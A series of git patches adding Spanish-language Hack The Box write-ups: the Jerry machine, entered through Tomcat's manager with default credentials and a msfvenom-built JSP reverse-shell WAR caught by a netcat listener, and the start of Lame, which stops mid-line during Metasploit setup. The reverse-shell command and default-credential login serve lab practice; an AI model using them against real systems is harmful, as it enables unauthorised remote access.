<103068924+F1r0x@users.noreply.github.com> Date: Mon, 9 May 2022 10:53:28 +0200 Subject: [PATCH 0235/1701] Create HTB-Jerry.md --- Maquinas-HTB/HTB-Jerry.md | 135 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 135 insertions(+) create mode 100644 Maquinas-HTB/HTB-Jerry.md diff --git a/Maquinas-HTB/HTB-Jerry.md b/Maquinas-HTB/HTB-Jerry.md new file mode 100644 index 00000000000..c7e20348578 --- /dev/null +++ b/Maquinas-HTB/HTB-Jerry.md @@ -0,0 +1,135 @@ +![Captura de pantalla -2022-05-09 09-36-58](https://user-images.githubusercontent.com/103068924/167362483-2fb9697d-8b28-490a-8f61-2a60dcf94c31.png) + +En primer lugar, nos creamos un directorio con el nombre de la máquina desde el que trabajaremos: + + sudo mkdir Jerry + +Ahora, mediante la función [`mkt`](../Herramientas_y_Scripts/mkt.html) que tengo previamente definida en la `.zhshrc` crearemos nuestros directorios de trabajo: + + sudo mkt + +Esta función está definida para crearnos cuatro directorios (`nmap`, `content`, `exploits` y `scripts`) desde los cuales poder trabajar a la hora de +realizar las máquinas de HTB. + +Ejecutamos un `ping` y vemos como nos reporta un ttl=127, por tanto, ya sabemos que estamos frente una máquina Windows. + + ping -c 1 10.10.10.95 + +![Captura de pantalla -2022-05-09 09-41-43](https://user-images.githubusercontent.com/103068924/167363813-7dab983b-d779-40bb-9ee9-fa2098fad932.png) + +Ahora vamos a ver mediante `whatweb` que más podemos ver: + + whatweb 10.10.10.95 + +![Captura de pantalla -2022-05-09 09-48-48](https://user-images.githubusercontent.com/103068924/167364415-8e3dae47-0de7-4b61-b469-d7f0dbff2539.png) + +Nos reporta un erro al tratar de acceder. Port tanto vamos a realizar mediante [`nmap`](../Herramientas_y_Scripts/Nmap.html) +una serie de escaneos para ver que puertos se encuentran abiertos, primero realizare un escaneo básico: + + nmap -p- --open -T5 -v -n 10.10.10.95 -oG allPorts + +`-oG` : Exportar los resultados en formato grepeable. + +`allPorts` : Nombre del archivo. Si no existe lo creará. + +De esta manera podremos revisar los puertos que estaban abiertos en cualquier momento. + +![Captura de pantalla -2022-05-09 10-02-16](https://user-images.githubusercontent.com/103068924/167366619-2fea1b36-9776-47cd-8c0d-a516313f4c11.png) + +![Captura de pantalla -2022-05-09 10-02-34](https://user-images.githubusercontent.com/103068924/167366626-008b8f13-f83a-4e1d-a74c-9e3844c33f17.png) + +Como podemos ver, nos reporta que el puerto 8080 esta abierto, vamos a realizar un segundo escaneo especificando +que quereros utilzar la variable `--script http-enum` en el puerto 8080 y guardaremos los resultados en el archivo +`targetenum`. + + sudo nmap --script http-enum -p8080 10.10.10.95 -oN targetenum + +![Captura de pantalla -2022-05-07 15-15-30](https://user-images.githubusercontent.com/103068924/167366694-67b211b3-0e2c-45d5-9d33-217119e4df2b.png) + +![Captura de pantalla -2022-05-07 15-24-03](https://user-images.githubusercontent.com/103068924/167366815-7cda1186-3b70-4313-b7bd-cbc85727409c.png) + +Vemos que en el puerto `8080` corre un servicio `http`, por tanto vamos a intentar acceder mediante el navegador de Firefox. + +![Captura de pantalla -2022-05-07 15-09-34](https://user-images.githubusercontent.com/103068924/167367405-e0c39dde-b045-4a47-996c-8585896b46e5.png) + +Vemos que al intentar acceder al dominio `http://10.10.10.95` la página no termina de cargar, pero tampoco reporta ningún error. Por tanto lo siguiente que +probaremos sera especificar el puerto en el que corre el servicio, por tanto intentamos acceder al dominio `http://10.10.10.95:8080`. + +![Captura de pantalla -2022-05-07 15-11-45](https://user-images.githubusercontent.com/103068924/167368005-2fbf0775-5bb5-4ee6-ba8d-386529a1706c.png) + +![Captura de pantalla -2022-05-07 15-09-34](https://user-images.githubusercontent.com/103068924/167368016-77a414e6-3ce0-4ee2-ae34-d79d955ca882.png) + +Genial ya nos carga la página, vemos que se trata de la página oficial de un programa llamado `Tomcat`. Lo siguiente que vamos a probar, es tratar de +acceder al directorio `./manager/html`. + +![Captura de pantalla -2022-05-07 15-17-15](https://user-images.githubusercontent.com/103068924/167369103-a8c49c92-7566-4e5a-8cc2-0077f62154ad.png) + +![Captura de pantalla -2022-05-07 15-17-33](https://user-images.githubusercontent.com/103068924/167369119-303c65f3-30f4-4435-a170-a8d7ca3a8cd3.png) + +Nos muestra una ventana de registro, como se trata de una máquina fácil, podemos probar con combinaciones básicas para ver si conseeguimos ingresar +de manera sencilla. + +![Captura de pantalla -2022-05-07 15-17-43](https://user-images.githubusercontent.com/103068924/167369536-153cffa5-e7a3-48ba-a9a7-5a6b6a9d761e.png) + +Tras probar algunas combinaciones vemos que utilizando el usuario `admin` y la contraseña `admin` nos reporta este mensaje con un error de servicio 403. + +![Captura de pantalla -2022-05-07 15-18-05](https://user-images.githubusercontent.com/103068924/167369705-e43f467d-4aea-4226-b0d3-2a8c5c3690b2.png) + +Vemos como nos indica un ejemplo, donde nos muestra una credenciales que se han utilizado para motrar el ejemplo. + +![Captura de pantalla -2022-05-07 15-20-56](https://user-images.githubusercontent.com/103068924/167369862-6c157b14-f241-4432-8fe9-d5e4707857a1.png) + +Tratamos de acceder al panel anterior mediante estas credenciales a ver si nos permite registrarnos como el usuario `tomcat` y utilizando la contaseña +`s3cret`. + +![Captura de pantalla -2022-05-07 15-20-56](https://user-images.githubusercontent.com/103068924/167370646-06f8b867-1bbc-4920-848a-fd7e651d0a3c.png) + +![Captura de pantalla -2022-05-09 10-23-23](https://user-images.githubusercontent.com/103068924/167370670-7fe63026-5173-4dce-bff7-7baeb579db9d.png) + +![Captura de pantalla -2022-05-07 15-22-16](https://user-images.githubusercontent.com/103068924/167370734-2bb21a68-2dcd-4897-9047-fde8b66decbe.png) + +Las credenciales funcionan y nos lleva hasta una página que parece gestionar aplicaciones. + +Tras revisar la página vemos que nos permite subir arhcivos, así que vamos a tratar de buscar alguna herramienta que nos perminta crear una +shell inversa desde la cual poder interactuar con la máquina. + +Mediante `msfvenom` podemos tratar de comprobar una gran cantidad de herramientas: + + msfvenom -l payloads + +![Captura de pantalla -2022-05-07 15-25-25](https://user-images.githubusercontent.com/103068924/167371974-d9b41da2-3d47-40a1-8498-6d2f25678fc3.png) + +![Captura de pantalla -2022-05-07 15-27-24](https://user-images.githubusercontent.com/103068924/167372055-941c21d6-2d55-4808-9994-391d329511a5.png) + +Vamoa a utilizar la herramienta `jsp_shell_reverse_tcp`. Esta herramienta, especificandole nuestro host de escucha y el puerto mediante el siguiente +comando, nos creará un archivo en formato `.war` capaz de crear una shell inversa desde la máquina víctima. + + msfvenom -p- java/sjp_shell_reverse_tcp LHOST=10.10.10.14.29 LPORT=8080 -f war -o shell.war + +Una vez creado nuestro archivo `shell.war` vamos a subirlo a la máquina victima, pero antes, debemos mover nuestro archivo +al directorio `Descargas/Downloads`: + +![Captura de pantalla -2022-05-07 15-32-25](https://user-images.githubusercontent.com/103068924/167373933-05569db6-7535-4e68-b2a3-ae5c0e72fb63.png) + +Ahora mediante el apartado de la página llamado `Archivo WAR a desplegar` subimos nuestro archivo `shel.war`. + +![Captura de pantalla -2022-05-07 15-32-55](https://user-images.githubusercontent.com/103068924/167374610-e9b1e566-2a29-4116-bfec-33a11ae25fc6.png) + +![Captura de pantalla -2022-05-07 15-33-38](https://user-images.githubusercontent.com/103068924/167374653-431287e4-5091-47b0-968a-85ec85904e40.png) + +![Captura de pantalla -2022-05-07 15-34-28](https://user-images.githubusercontent.com/103068924/167374662-ab39d3f4-9253-43a4-9079-91b7a7caf281.png) + +![Captura de pantalla -2022-05-07 15-34-42](https://user-images.githubusercontent.com/103068924/167374683-17d0860c-4808-40af-9788-25955448d081.png) + +Recargamos la página y vemos como aparece nuestro archivo. El siguiente paso será ponerno en escucha por el puerto `8080` mediante `nc`: + + + + + + + + + + + From 86ec6ce412d220ab391380eddc4fc46d9193a8b1 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 9 May 2022 12:03:06 +0200 Subject: [PATCH 0236/1701] Update HTB-Jerry.md --- Maquinas-HTB/HTB-Jerry.md | 38 +++++++++++++++++++++++++++++++++++--- 1 file changed, 35 insertions(+), 3 deletions(-) diff --git a/Maquinas-HTB/HTB-Jerry.md b/Maquinas-HTB/HTB-Jerry.md index c7e20348578..762851f777b 100644 --- a/Maquinas-HTB/HTB-Jerry.md +++ b/Maquinas-HTB/HTB-Jerry.md @@ -104,14 +104,18 @@ Mediante `msfvenom` podemos tratar de comprobar una gran cantidad de herramienta Vamoa a utilizar la herramienta `jsp_shell_reverse_tcp`. Esta herramienta, especificandole nuestro host de escucha y el puerto mediante el siguiente comando, nos creará un archivo en formato `.war` capaz de crear una shell inversa desde la máquina víctima. - msfvenom -p- java/sjp_shell_reverse_tcp LHOST=10.10.10.14.29 LPORT=8080 -f war -o shell.war +![Captura de pantalla -2022-05-09 11-02-02](https://user-images.githubusercontent.com/103068924/167385544-1f78a708-b08c-4c23-b6b3-8787c0f05fd4.png) + + msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.14.29 LPORT=8080 -f war -o shell.war + +![Captura de pantalla -2022-05-09 11-02-02](https://user-images.githubusercontent.com/103068924/167376951-11f44b27-79b4-4988-b325-4f8e8423ccb7.png) Una vez creado nuestro archivo `shell.war` vamos a subirlo a la máquina victima, pero antes, debemos mover nuestro archivo al directorio `Descargas/Downloads`: ![Captura de pantalla -2022-05-07 15-32-25](https://user-images.githubusercontent.com/103068924/167373933-05569db6-7535-4e68-b2a3-ae5c0e72fb63.png) -Ahora mediante el apartado de la página llamado `Archivo WAR a desplegar` subimos nuestro archivo `shel.war`. +Ahora mediante el apartado de la página llamado `Archivo WAR a desplegar` subimos nuestro archivo `shell.war`. ![Captura de pantalla -2022-05-07 15-32-55](https://user-images.githubusercontent.com/103068924/167374610-e9b1e566-2a29-4116-bfec-33a11ae25fc6.png) @@ -121,13 +125,41 @@ Ahora mediante el apartado de la página llamado `Archivo WAR a desplegar` subim ![Captura de pantalla -2022-05-07 15-34-42](https://user-images.githubusercontent.com/103068924/167374683-17d0860c-4808-40af-9788-25955448d081.png) -Recargamos la página y vemos como aparece nuestro archivo. El siguiente paso será ponerno en escucha por el puerto `8080` mediante `nc`: +Recargamos la página y vemos como aparece nuestro archivo. El siguiente paso será ponerno en escucha por el puerto `8080` mediante `nc` como se +trata de un sistema windows utilizaremos `rlwarp`: + + rlwrap nc -lvnp 8080 + +![Captura de pantalla -2022-05-09 11-07-21](https://user-images.githubusercontent.com/103068924/167385711-908c4b6b-e40d-48c2-8978-5536a0850301.png) + + +![Captura de pantalla -2022-05-09 11-07-30](https://user-images.githubusercontent.com/103068924/167386060-d0be171e-6afb-468c-a5c4-8699f4ffc08a.png) + +Ahora para ejecutar el archivo, simplemente nos vamos a la página y lo pulsamos. + + +![Captura de pantalla -2022-05-09 11-49-32](https://user-images.githubusercontent.com/103068924/167386089-4cd94622-03f5-45df-83d6-da925a2ea417.png) + +Vemos como la shell se nos despliega en la terminal que tenemos en escucha con Netcat. + +![Captura de pantalla -2022-05-09 11-55-16](https://user-images.githubusercontent.com/103068924/167386486-2bea3986-982e-4163-8293-4cf58fccc4f4.png) + +Está maquina ya esta básicamente terminada ya que las dos flags se encuentran en el mismo archivo, el cual se encuentra en el directorio +`C:\Users\Administrator\Desktop\flags`: + + cd /Users/Administrator/Desktop/flags + +Vemos como dentro del directorio `flags` se encuenta el archivo `2 for the price at 1.txt` +![Captura de pantalla -2022-05-09 12-01-47](https://user-images.githubusercontent.com/103068924/167387535-4165e282-73a2-4d0a-a41a-4893cd492ef6.png) +Y finalmente, mediante `type` podemos visualizar el contenido: +![Captura de pantalla -2022-05-07 15-59-28](https://user-images.githubusercontent.com/103068924/167387517-8daf25ec-3c37-486f-8695-2894ca5daabe.png) +![Captura de pantalla -2022-05-09 09-36-58](https://user-images.githubusercontent.com/103068924/167387740-ca9ebbf6-6e75-47f5-b8e5-076a6e0eee27.png) From 2c1c497fd3a68d2802795d04d8c9d727ea1926db Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 9 May 2022 12:08:46 +0200 Subject: [PATCH 0237/1701] Update HTB-Jerry.md --- Maquinas-HTB/HTB-Jerry.md | 39 +++++++++++++++++++-------------------- 1 file changed, 19 insertions(+), 20 deletions(-) diff --git a/Maquinas-HTB/HTB-Jerry.md b/Maquinas-HTB/HTB-Jerry.md index 762851f777b..a0af06e4255 100644 --- a/Maquinas-HTB/HTB-Jerry.md +++ b/Maquinas-HTB/HTB-Jerry.md @@ -23,8 +23,8 @@ Ahora vamos a ver mediante `whatweb` que más podemos ver: ![Captura de pantalla -2022-05-09 09-48-48](https://user-images.githubusercontent.com/103068924/167364415-8e3dae47-0de7-4b61-b469-d7f0dbff2539.png) -Nos reporta un erro al tratar de acceder. Port tanto vamos a realizar mediante [`nmap`](../Herramientas_y_Scripts/Nmap.html) -una serie de escaneos para ver que puertos se encuentran abiertos, primero realizare un escaneo básico: +Nos reporta un erro al tratar de acceder. Por tanto, vamos a realizar mediante [`nmap`](../Herramientas_y_Scripts/Nmap.html) +una serie de escaneos para ver que puertos se encuentran abiertos, primero realizaré un escaneo básico: nmap -p- --open -T5 -v -n 10.10.10.95 -oG allPorts @@ -38,8 +38,8 @@ De esta manera podremos revisar los puertos que estaban abiertos en cualquier mo ![Captura de pantalla -2022-05-09 10-02-34](https://user-images.githubusercontent.com/103068924/167366626-008b8f13-f83a-4e1d-a74c-9e3844c33f17.png) -Como podemos ver, nos reporta que el puerto 8080 esta abierto, vamos a realizar un segundo escaneo especificando -que quereros utilzar la variable `--script http-enum` en el puerto 8080 y guardaremos los resultados en el archivo +Como podemos ver, nos reporta que el puerto 8080 está abierto, vamos a proceder a un segundo escaneo especificando +que quereros utilizar la variable `--script http-enum` en el puerto 8080 y guardaremos los resultados en el archivo `targetenum`. sudo nmap --script http-enum -p8080 10.10.10.95 -oN targetenum @@ -48,12 +48,12 @@ que quereros utilzar la variable `--script http-enum` en el puerto 8080 y guarda ![Captura de pantalla -2022-05-07 15-24-03](https://user-images.githubusercontent.com/103068924/167366815-7cda1186-3b70-4313-b7bd-cbc85727409c.png) -Vemos que en el puerto `8080` corre un servicio `http`, por tanto vamos a intentar acceder mediante el navegador de Firefox. +Vemos que en el puerto `8080` corre un servicio `http`, por tanto, vamos a intentar acceder mediante el navegador de Firefox. ![Captura de pantalla -2022-05-07 15-09-34](https://user-images.githubusercontent.com/103068924/167367405-e0c39dde-b045-4a47-996c-8585896b46e5.png) -Vemos que al intentar acceder al dominio `http://10.10.10.95` la página no termina de cargar, pero tampoco reporta ningún error. Por tanto lo siguiente que -probaremos sera especificar el puerto en el que corre el servicio, por tanto intentamos acceder al dominio `http://10.10.10.95:8080`. +Vemos que al intentar acceder al dominio `http://10.10.10.95` la página no termina de cargar, pero tampoco reporta ningún error. Por tanto, lo siguiente que +probaremos será especificar el puerto en el que corre el servicio, por tanto, intentamos acceder al dominio `http://10.10.10.95:8080`. ![Captura de pantalla -2022-05-07 15-11-45](https://user-images.githubusercontent.com/103068924/167368005-2fbf0775-5bb5-4ee6-ba8d-386529a1706c.png) @@ -66,7 +66,7 @@ acceder al directorio `./manager/html`. ![Captura de pantalla -2022-05-07 15-17-33](https://user-images.githubusercontent.com/103068924/167369119-303c65f3-30f4-4435-a170-a8d7ca3a8cd3.png) -Nos muestra una ventana de registro, como se trata de una máquina fácil, podemos probar con combinaciones básicas para ver si conseeguimos ingresar +Nos muestra una ventana de registro, como se trata de una máquina fácil, podemos probar con combinaciones básicas para ver si conseguimos ingresar de manera sencilla. ![Captura de pantalla -2022-05-07 15-17-43](https://user-images.githubusercontent.com/103068924/167369536-153cffa5-e7a3-48ba-a9a7-5a6b6a9d761e.png) @@ -75,11 +75,11 @@ Tras probar algunas combinaciones vemos que utilizando el usuario `admin` y la c ![Captura de pantalla -2022-05-07 15-18-05](https://user-images.githubusercontent.com/103068924/167369705-e43f467d-4aea-4226-b0d3-2a8c5c3690b2.png) -Vemos como nos indica un ejemplo, donde nos muestra una credenciales que se han utilizado para motrar el ejemplo. +Vemos como nos indica un ejemplo, donde nos muestra unas credenciales que se han usado para mostrar el ejemplo. ![Captura de pantalla -2022-05-07 15-20-56](https://user-images.githubusercontent.com/103068924/167369862-6c157b14-f241-4432-8fe9-d5e4707857a1.png) -Tratamos de acceder al panel anterior mediante estas credenciales a ver si nos permite registrarnos como el usuario `tomcat` y utilizando la contaseña +Tratamos de acceder al panel anterior mediante estas credenciales a ver si nos permite registrarnos como el usuario `tomcat` y empleando la contraseña `s3cret`. ![Captura de pantalla -2022-05-07 15-20-56](https://user-images.githubusercontent.com/103068924/167370646-06f8b867-1bbc-4920-848a-fd7e651d0a3c.png) @@ -90,7 +90,7 @@ Tratamos de acceder al panel anterior mediante estas credenciales a ver si nos p Las credenciales funcionan y nos lleva hasta una página que parece gestionar aplicaciones. -Tras revisar la página vemos que nos permite subir arhcivos, así que vamos a tratar de buscar alguna herramienta que nos perminta crear una +Tras revisar la página vemos que nos permite subir archivos, así que vamos a tratar de buscar alguna herramienta que nos permita crear una shell inversa desde la cual poder interactuar con la máquina. Mediante `msfvenom` podemos tratar de comprobar una gran cantidad de herramientas: @@ -101,7 +101,7 @@ Mediante `msfvenom` podemos tratar de comprobar una gran cantidad de herramienta ![Captura de pantalla -2022-05-07 15-27-24](https://user-images.githubusercontent.com/103068924/167372055-941c21d6-2d55-4808-9994-391d329511a5.png) -Vamoa a utilizar la herramienta `jsp_shell_reverse_tcp`. Esta herramienta, especificandole nuestro host de escucha y el puerto mediante el siguiente +Vamos a emplear la herramienta `jsp_shell_reverse_tcp`. Esta herramienta, especificándole nuestro host de escucha y el puerto mediante el siguiente comando, nos creará un archivo en formato `.war` capaz de crear una shell inversa desde la máquina víctima. ![Captura de pantalla -2022-05-09 11-02-02](https://user-images.githubusercontent.com/103068924/167385544-1f78a708-b08c-4c23-b6b3-8787c0f05fd4.png) @@ -110,12 +110,12 @@ comando, nos creará un archivo en formato `.war` capaz de crear una shell inver ![Captura de pantalla -2022-05-09 11-02-02](https://user-images.githubusercontent.com/103068924/167376951-11f44b27-79b4-4988-b325-4f8e8423ccb7.png) -Una vez creado nuestro archivo `shell.war` vamos a subirlo a la máquina victima, pero antes, debemos mover nuestro archivo +Una vez creado nuestro archivo `shell.war` vamos a subirlo a la máquina víctima, pero antes, debemos mover nuestro archivo al directorio `Descargas/Downloads`: ![Captura de pantalla -2022-05-07 15-32-25](https://user-images.githubusercontent.com/103068924/167373933-05569db6-7535-4e68-b2a3-ae5c0e72fb63.png) -Ahora mediante el apartado de la página llamado `Archivo WAR a desplegar` subimos nuestro archivo `shell.war`. +Ahora, mediante el apartado de la página llamado `Archivo WAR a desplegar` subimos nuestro archivo `shell.war`. ![Captura de pantalla -2022-05-07 15-32-55](https://user-images.githubusercontent.com/103068924/167374610-e9b1e566-2a29-4116-bfec-33a11ae25fc6.png) @@ -125,8 +125,8 @@ Ahora mediante el apartado de la página llamado `Archivo WAR a desplegar` subim ![Captura de pantalla -2022-05-07 15-34-42](https://user-images.githubusercontent.com/103068924/167374683-17d0860c-4808-40af-9788-25955448d081.png) -Recargamos la página y vemos como aparece nuestro archivo. El siguiente paso será ponerno en escucha por el puerto `8080` mediante `nc` como se -trata de un sistema windows utilizaremos `rlwarp`: +Recargamos la página y vemos como aparece nuestro archivo. El siguiente paso será ponerlo en escucha por el puerto `8080` mediante `nc` como se +trata de un sistema Windows utilizaremos `rlwarp`: rlwrap nc -lvnp 8080 @@ -136,7 +136,7 @@ trata de un sistema windows utilizaremos `rlwarp`: ![Captura de pantalla -2022-05-09 11-07-30](https://user-images.githubusercontent.com/103068924/167386060-d0be171e-6afb-468c-a5c4-8699f4ffc08a.png) -Ahora para ejecutar el archivo, simplemente nos vamos a la página y lo pulsamos. +Ahora, para ejecutar el archivo, simplemente nos vamos a la página y lo pulsamos. ![Captura de pantalla -2022-05-09 11-49-32](https://user-images.githubusercontent.com/103068924/167386089-4cd94622-03f5-45df-83d6-da925a2ea417.png) @@ -145,12 +145,12 @@ Vemos como la shell se nos despliega en la terminal que tenemos en escucha con N ![Captura de pantalla -2022-05-09 11-55-16](https://user-images.githubusercontent.com/103068924/167386486-2bea3986-982e-4163-8293-4cf58fccc4f4.png) -Está maquina ya esta básicamente terminada ya que las dos flags se encuentran en el mismo archivo, el cual se encuentra en el directorio +Está máquina ya está básicamente terminada, ya que las dos flags se encuentran en el mismo archivo, el cual se encuentra en el directorio `C:\Users\Administrator\Desktop\flags`: cd /Users/Administrator/Desktop/flags -Vemos como dentro del directorio `flags` se encuenta el archivo `2 for the price at 1.txt` +Vemos como dentro del directorio `flags` se encuentra el archivo `2 for the price at 1.txt` ![Captura de pantalla -2022-05-09 12-01-47](https://user-images.githubusercontent.com/103068924/167387535-4165e282-73a2-4d0a-a41a-4893cd492ef6.png) @@ -164,4 +164,3 @@ Y finalmente, mediante `type` podemos visualizar el contenido: - From 9248eef3607fae62bf48941c351875dfe18e98f6 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 9 May 2022 12:10:00 +0200 Subject: [PATCH 0238/1701] Update index.md --- index.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/index.md b/index.md index 32b1a59fb2f..9646e112dd3 100644 --- a/index.md +++ b/index.md @@ -4,6 +4,8 @@ [HTB-SwagShop](./Maquinas-HTB/HTB-SwagShop.html) +[HTB-Jerry](./Maquinas-HTB/HTB-Jerry.html) + ## Starting Points [HTB-Oopsie](./Starting Point/HTB-Oopsie.html) From 125403d748e537fce9eb3979df0a538148002329 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 9 May 2022 12:16:12 +0200 Subject: [PATCH 0239/1701] Update HTB-Jerry.md --- Maquinas-HTB/HTB-Jerry.md | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/Maquinas-HTB/HTB-Jerry.md b/Maquinas-HTB/HTB-Jerry.md index a0af06e4255..d46a16d818c 100644 --- a/Maquinas-HTB/HTB-Jerry.md +++ b/Maquinas-HTB/HTB-Jerry.md @@ -1,5 +1,7 @@ ![Captura de pantalla -2022-05-09 09-36-58](https://user-images.githubusercontent.com/103068924/167362483-2fb9697d-8b28-490a-8f61-2a60dcf94c31.png) +# HTB-Jerry + En primer lugar, nos creamos un directorio con el nombre de la máquina desde el que trabajaremos: sudo mkdir Jerry @@ -11,6 +13,8 @@ Ahora, mediante la función [`mkt`](../Herramientas_y_Scripts/mkt.html) que teng Esta función está definida para crearnos cuatro directorios (`nmap`, `content`, `exploits` y `scripts`) desde los cuales poder trabajar a la hora de realizar las máquinas de HTB. +## Fase de Reconocimiento: + Ejecutamos un `ping` y vemos como nos reporta un ttl=127, por tanto, ya sabemos que estamos frente una máquina Windows. ping -c 1 10.10.10.95 @@ -59,6 +63,8 @@ probaremos será especificar el puerto en el que corre el servicio, por tanto, i ![Captura de pantalla -2022-05-07 15-09-34](https://user-images.githubusercontent.com/103068924/167368016-77a414e6-3ce0-4ee2-ae34-d79d955ca882.png) +## Fase de Inrusión: + Genial ya nos carga la página, vemos que se trata de la página oficial de un programa llamado `Tomcat`. Lo siguiente que vamos a probar, es tratar de acceder al directorio `./manager/html`. @@ -93,6 +99,8 @@ Las credenciales funcionan y nos lleva hasta una página que parece gestionar ap Tras revisar la página vemos que nos permite subir archivos, así que vamos a tratar de buscar alguna herramienta que nos permita crear una shell inversa desde la cual poder interactuar con la máquina. +## Creación de una Reverse Shell mediante MsfVenom: + Mediante `msfvenom` podemos tratar de comprobar una gran cantidad de herramientas: msfvenom -l payloads From 491cb7dd5334a49723e6a4494eae83c907e72e70 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 9 May 2022 13:57:34 +0200 Subject: [PATCH 0240/1701] Create Lame.md --- Maquinas-HTB/Lame.md | 154 +++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 154 insertions(+) create mode 100644 Maquinas-HTB/Lame.md diff --git a/Maquinas-HTB/Lame.md b/Maquinas-HTB/Lame.md new file mode 100644 index 00000000000..b6391fa43b2 --- /dev/null +++ b/Maquinas-HTB/Lame.md @@ -0,0 +1,154 @@ +# HTB-Lame + + +## Fase de Reconocimiento + +En primer lugar, debemos asegurar que estamos conectados a la víctima y tratar de recopilar la máxima información posible. + + Para verificar la conexión y tener una primera toma de contacto utilizaremos el comando `ping`. + + ping 10.10.10.3 + + Mediante este comando podemos obtener la siguiente información: + + - Verificar la conexión. + - La latencia. Podemos observar el tiempo de recorrido + de un paquete. + - Podemos obtener la Ip de un dominio. + - Determinar si estamos frente a un SO Linux o Windows: + Windows ttl = 128 + Linux ttl = 64 + + nmap -p- --open -T5 -v -n 10.10.10.3 -oG allPorts + +![Captura de pantalla -2022-05-07 17-30-56](https://user-images.githubusercontent.com/103068924/167393165-e89c0c25-6ae5-48d4-b779-db308bad145f.png) + +`-p-` : Escanea todo el rango de puertos. + +`--open` : Solo nos mostrará puertos con el estatus abierto. + +`-T5` : Controla el tiempo y el rendimiento del escaneo donde 1 es el más lento y 5 el más rápido. + +`-v` : Verbose. Recopila los puertos abiertos por TCP y los reporta por consola. + +`-n` : Anula la resolución DNS. + +`-oG` : Exportar los resultados en formato grepeable. + +`allPorts` : Nombre del archivo. Si no existe lo creará. + + De esta manera podremos revisar los puertos que estaban abiertos en cualquier momento. + +![Captura de pantalla -2022-05-07 17-32-33](https://user-images.githubusercontent.com/103068924/167393202-bf6a1888-3079-4e22-a786-3a2ac8c9592f.png) + + Tras conocer los puertos TCP abiertos, realizaremos un segundo escaneo enfocado en los puertos abiertos para ver la información que nos reportan y + exportarlo en formato nmap al archivo 'targed'. + + nmap -sC -sV -n -v -p21,,22,139,445,3632 -oN target + +![Captura de pantalla -2022-05-07 17-34-44](https://user-images.githubusercontent.com/103068924/167393674-9798ac56-230c-4ad8-99cd-4f385aff6c07.png) + +`-sC` : Lanza scrips básicos de reconocimiento. + +`-sV` : Localiza la versión y servicio de los puertos definidos. + +`-p` : Puertos a escanear. + +`-oN` : Reporta los resultados en formato nmap al archivo `target`. + + +![Captura de pantalla -2022-05-07 17-52-38](https://user-images.githubusercontent.com/103068924/167393829-bc058509-3ec1-4eab-8997-57e2afb97bc7.png) + +Vemos que en el puerto 21/tcp corre un servicio ftp con la versión `vsftpd 2.3.4`. Vamos a tratar de buscar alguna vulnerabilidad para está versión +en concreto. Para realizar la busqueda utilizaremos la herramienta `searchsploit`. En caso de no tenerlo lo instalamos: + + sudo apt install searchsploit + +Luego lo ejecutamos y le especificamos la versión para que nos busque el `exploit` adecudo: + + searchsploit vsftpd + +![Captura de pantalla -2022-05-07 17-52-16](https://user-images.githubusercontent.com/103068924/167394414-f5e72232-7c5b-44bb-8326-7b580addf1b0.png) + +Vemos como para la versión 2.3.4 existe una herramienta llamada `Backdoor Command Execution (Metasploit)` alojado en el PATH `unix/remote/17491.rb`. +Veamos el código a ver que información utiliza para vulnerar está versio: + + searchsploit -x unix/remote/17491.rb + +`-x` : Para examinar un archivo. + +![Captura de pantalla -2022-05-09 13-07-04](https://user-images.githubusercontent.com/103068924/167397809-ad87df83-57fe-40c4-a481-05d6e80623a5.png) + +![Captura de pantalla -2022-05-09 13-07-35](https://user-images.githubusercontent.com/103068924/167397813-ccae4253-80e9-43c6-aea4-28fa99ef8efc.png) + +Esta herramienta por lo que parece, utiliza una serie de cadenas en el usuario para tratar de ganar acceso por el puerto 6200. Yo lo he intentado +manualmente y mediante `Metasploit` y no he podido acceder mediante está herramienta. + +![Captura de pantalla -2022-05-09 13-01-26](https://user-images.githubusercontent.com/103068924/167398192-d205b407-614e-439e-aa2c-e18d3a6060e3.png) + +Al ver que esto no funcionaba, busque otro vector de ataque y vemos que por los puertos 139 y 445 corre un servicio `Samba`. + +![Captura de pantalla -2022-05-09 13-17-47](https://user-images.githubusercontent.com/103068924/167399970-c676bcde-785d-4bea-936f-eaed02ccc5dc.png) + +Vemos tambien que en el puerto 445 nos indiaca la versión `3.0.20`, así que buscamos sobre este servicio: + + searchsploit samba 3.0.20 + +![Captura de pantalla -2022-05-09 13-22-01](https://user-images.githubusercontent.com/103068924/167399895-d6be29db-a564-4d30-894b-78efb0a9dec4.png) + +## Metasploit + +Vamos a tratar de acceder mediante `Metasploit` utilizando la herramienta reportada anteriormente. En primer lugar ejecutamos `metasploit`: + + msfconsole + +Buscamos la versión de Samba para asegurarnos que tenemos la herramienta y ver donde se aloja: + + search samba 3.0.20 + +![Captura de pantalla -2022-05-09 13-30-56](https://user-images.githubusercontent.com/103068924/167402968-186b60cc-f240-4690-9d65-74faea05daa5.png) + +Ahora mediante la variable `options` podemos ver los campos que tenemos que rellenar para poder realizar el ataque. + +![Captura de pantalla -2022-05-09 13-32-08](https://user-images.githubusercontent.com/103068924/167403226-78c7e9b2-a4ab-48a2-b9bd-c0cff8e697e5.png) + +Para cambiar los campos utilizamos la variable `set` y el campo que deseamos cambiar. Primero introduciremos el localhost `LHOST`, es nuestra IP o en este caso +la IP de la VPN de Hack the Box: + +![Captura de pantalla -2022-05-09 13-35-27](https://user-images.githubusercontent.com/103068924/167403416-26917d45-b54e-4539-90d9-1d40a43bc32e.png) + +Ahora especificamos el puero de escucha, yo voy a utilizar el `8080`: + +![Captura de pantalla -2022-05-09 13-33-13](https://user-images.githubusercontent.com/103068924/167403656-cf7c6037-69b3-46f5-92cc-69c1d2d6126f.png) + +Ahora especificaremos de la misma manera el remote host `RHSOT` en este caso la Ip de la máquina: + +![Captura de pantalla -2022-05-09 